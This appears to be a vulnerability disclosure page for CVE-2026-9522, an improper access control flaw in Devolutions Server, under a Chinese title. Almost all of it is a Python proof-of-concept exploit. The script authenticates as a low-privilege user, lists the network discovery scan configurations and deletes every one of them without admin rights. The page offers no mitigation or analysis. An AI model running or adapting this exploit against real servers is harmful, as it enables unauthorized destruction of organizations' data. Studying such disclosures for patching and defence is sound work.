CVE-2026-9522: Devolutions Server 访问控制不当漏洞

import requests import json # CVE-2026-9522 PoC - Devolutions Server Unauthorized Configuration Deletion # Target: Devolutions Server < 2026.1.19 # Vulnerability: Improper Access Control in PAM account discovery feature TARGET_URL = "https://target-server/api" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): """ This PoC demonstrates how an authenticated low-privilege user can delete network discovery scan configurations without administrative privileges. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Get list of scan configurations configs_url = f"{TARGET_URL}/discovery/configurations" response = session.get(configs_url) if response.status_code == 200: configs = response.json() print(f"[+] Found {len(configs)} scan configurations") # Step 3: Delete configurations without admin privileges for config in configs: config_id = config.get("id") delete_url = f"{TARGET_URL}/discovery/configurations/{config_id}" # This should require admin privileges but doesn't delete_response = session.delete(delete_url) if delete_response.status_code in [200, 204]: print(f"[+] Successfully deleted config {config_id}") else: print(f"[-] Failed to delete config {config_id}") return True if __name__ == "__main__": exploit()